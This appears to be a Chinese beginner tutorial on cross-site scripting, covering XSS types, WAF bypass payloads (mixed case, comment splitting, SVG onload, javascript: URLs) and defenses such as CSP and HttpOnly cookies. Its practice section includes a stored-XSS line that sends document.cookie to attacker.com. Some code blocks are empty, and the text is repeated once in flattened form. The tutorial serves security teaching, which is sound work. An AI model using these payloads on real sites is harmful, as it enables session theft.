星火计划 | XSS从零到一入门实战
字数 1687 2025-08-15 21:30:26

XSS从零到一入门实战教学文档

第一章 渗透中XSS从零到一

1.1 什么是XSS攻击

XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本代码,当其他用户访问该页面时,这些脚本会在用户浏览器中执行。

关键特征:

  • 攻击者利用网页开发时留下的漏洞注入恶意指令代码
  • 恶意代码通常以JavaScript为主,但也可能包括Java、VBScript、ActiveX、Flash或普通HTML
  • 攻击成功后,攻击者可能获取:更高权限、私密网页内容、会话和cookie等敏感信息

1.2 XSS的攻击类型

1.2.1 基于攻击场景的分类

  1. 反射型XSS(非持久型)

    • 恶意脚本作为请求的一部分发送到服务器
    • 服务器在响应中直接包含这些恶意脚本
    • 需要诱骗用户点击特制链接才能触发
  2. 存储型XSS(持久型)

    • 恶意脚本被永久存储在目标服务器上(如数据库、消息论坛、访客日志等)
    • 每当用户浏览受影响的页面时,脚本就会自动执行
    • 危害更大,影响范围更广
  3. DOM型XSS

    • 完全在客户端执行,不涉及服务器端
    • 通过修改DOM环境在客户端直接执行恶意代码

1.2.2 基于攻击目标的分类

  1. Cookie窃取

    • 通过document.cookie获取用户会话信息
    • 将cookie发送到攻击者控制的服务器
  2. JavaScript后门

    • 植入持久性恶意脚本
    • 可远程控制受害者浏览器
  3. 会话劫持

    • 获取用户会话令牌
    • 冒充用户身份执行操作
  4. 钓鱼攻击

    • 伪造登录表单
    • 诱骗用户输入凭证

1.3 反射型与存储型的区别

特征 反射型XSS 存储型XSS
持久性 非持久 持久
触发方式 需要用户点击特制链接 自动触发
存储位置 不存储在服务器 存储在服务器
危害范围 单个用户 所有访问受影响页面的用户
常见场景 搜索框、错误消息 评论、留言板、用户资料

1.4 XSS利用及WAF绕过方式

1.4.1 基本利用技术

  1. 简单注入

    <script>alert('XSS')</script>
    
  2. 事件处理器

    
    
  3. 伪协议

    <a href="javascript:alert('XSS')">Click</a>
    
  4. 编码绕过

    
    

1.4.2 WAF绕过技术

  1. 大小写混合

    <ScRiPt>alert('XSS')</sCrIpT>
    
  2. 标签属性分割

    
    
  3. 使用非字母字符

    
    
  4. 利用HTML实体编码

    
    
  5. 注释干扰

    <scr<!-- -->ipt>alert('XSS')</scr<!-- -->ipt>
    
  6. JavaScript伪协议变形

    <a href="jAvAsCrIpT:alert('XSS')">Click</a>
    
  7. 利用SVG标签

    <svg/onload=alert('XSS')>
    
  8. 利用iframe标签

    <iframe src="javascript:alert('XSS')"></iframe>
    

1.5 XSS防御措施

  1. 输入过滤

    • 对用户输入进行严格验证
    • 过滤或转义特殊字符(<, >, ", ', &等)
  2. 输出编码

    • 根据输出上下文进行适当的编码(HTML, JavaScript, URL等)
    • 使用安全的API如textContent代替innerHTML
  3. 内容安全策略(CSP)

    • 通过HTTP头限制可执行脚本的来源
    • 示例:Content-Security-Policy: default-src 'self'
  4. HttpOnly Cookie

    • 设置Cookie的HttpOnly属性防止通过JavaScript访问
  5. X-XSS-Protection

    • 启用浏览器内置的XSS过滤器
    • 示例:X-XSS-Protection: 1; mode=block
  6. 框架安全

    • 使用现代框架(React, Angular, Vue等)内置的XSS防护
    • 避免使用不安全的API

实战演练

反射型XSS示例

攻击者构造恶意URL:

http://example.com/search?query=<script>alert('XSS')</script>

服务器未过滤直接返回:

<p>您搜索的是: <script>alert('XSS')</script></p>

存储型XSS示例

攻击者在评论框中输入:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

服务器存储后,所有访问该页面的用户都会向攻击者发送cookie。

DOM型XSS示例

漏洞代码:

document.write('Hello, ' + location.hash.substring(1));

攻击URL:

http://example.com#<script>alert('XSS')</script>

总结

XSS攻击是Web安全中最常见且危险的漏洞之一,攻击者可以通过多种方式注入恶意脚本,获取用户敏感信息或执行未授权操作。防御XSS需要开发者在输入验证、输出编码、安全策略等多方面采取措施。理解XSS的原理、类型和绕过技术对于安全从业人员至关重要。

最佳实践:

  1. 永远不要信任用户输入
  2. 根据上下文进行适当的输出编码
  3. 实施严格的内容安全策略
  4. 定期进行安全测试和代码审计
  5. 保持框架和库的最新版本
XSS从零到一入门实战教学文档 第一章 渗透中XSS从零到一 1.1 什么是XSS攻击 XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本代码,当其他用户访问该页面时,这些脚本会在用户浏览器中执行。 关键特征: 攻击者利用网页开发时留下的漏洞注入恶意指令代码 恶意代码通常以JavaScript为主,但也可能包括Java、VBScript、ActiveX、Flash或普通HTML 攻击成功后,攻击者可能获取:更高权限、私密网页内容、会话和cookie等敏感信息 1.2 XSS的攻击类型 1.2.1 基于攻击场景的分类 反射型XSS(非持久型) 恶意脚本作为请求的一部分发送到服务器 服务器在响应中直接包含这些恶意脚本 需要诱骗用户点击特制链接才能触发 存储型XSS(持久型) 恶意脚本被永久存储在目标服务器上(如数据库、消息论坛、访客日志等) 每当用户浏览受影响的页面时,脚本就会自动执行 危害更大,影响范围更广 DOM型XSS 完全在客户端执行,不涉及服务器端 通过修改DOM环境在客户端直接执行恶意代码 1.2.2 基于攻击目标的分类 Cookie窃取 通过document.cookie获取用户会话信息 将cookie发送到攻击者控制的服务器 JavaScript后门 植入持久性恶意脚本 可远程控制受害者浏览器 会话劫持 获取用户会话令牌 冒充用户身份执行操作 钓鱼攻击 伪造登录表单 诱骗用户输入凭证 1.3 反射型与存储型的区别 | 特征 | 反射型XSS | 存储型XSS | |------|----------|----------| | 持久性 | 非持久 | 持久 | | 触发方式 | 需要用户点击特制链接 | 自动触发 | | 存储位置 | 不存储在服务器 | 存储在服务器 | | 危害范围 | 单个用户 | 所有访问受影响页面的用户 | | 常见场景 | 搜索框、错误消息 | 评论、留言板、用户资料 | 1.4 XSS利用及WAF绕过方式 1.4.1 基本利用技术 简单注入 事件处理器 伪协议 编码绕过 1.4.2 WAF绕过技术 大小写混合 标签属性分割 使用非字母字符 利用HTML实体编码 注释干扰 JavaScript伪协议变形 利用SVG标签 利用iframe标签 1.5 XSS防御措施 输入过滤 对用户输入进行严格验证 过滤或转义特殊字符( <, >, ", ', &等) 输出编码 根据输出上下文进行适当的编码(HTML, JavaScript, URL等) 使用安全的API如textContent代替innerHTML 内容安全策略(CSP) 通过HTTP头限制可执行脚本的来源 示例: Content-Security-Policy: default-src 'self' HttpOnly Cookie 设置Cookie的HttpOnly属性防止通过JavaScript访问 X-XSS-Protection 启用浏览器内置的XSS过滤器 示例: X-XSS-Protection: 1; mode=block 框架安全 使用现代框架(React, Angular, Vue等)内置的XSS防护 避免使用不安全的API 实战演练 反射型XSS示例 攻击者构造恶意URL: 服务器未过滤直接返回: 存储型XSS示例 攻击者在评论框中输入: 服务器存储后,所有访问该页面的用户都会向攻击者发送cookie。 DOM型XSS示例 漏洞代码: 攻击URL: 总结 XSS攻击是Web安全中最常见且危险的漏洞之一,攻击者可以通过多种方式注入恶意脚本,获取用户敏感信息或执行未授权操作。防御XSS需要开发者在输入验证、输出编码、安全策略等多方面采取措施。理解XSS的原理、类型和绕过技术对于安全从业人员至关重要。 最佳实践: 永远不要信任用户输入 根据上下文进行适当的输出编码 实施严格的内容安全策略 定期进行安全测试和代码审计 保持框架和库的最新版本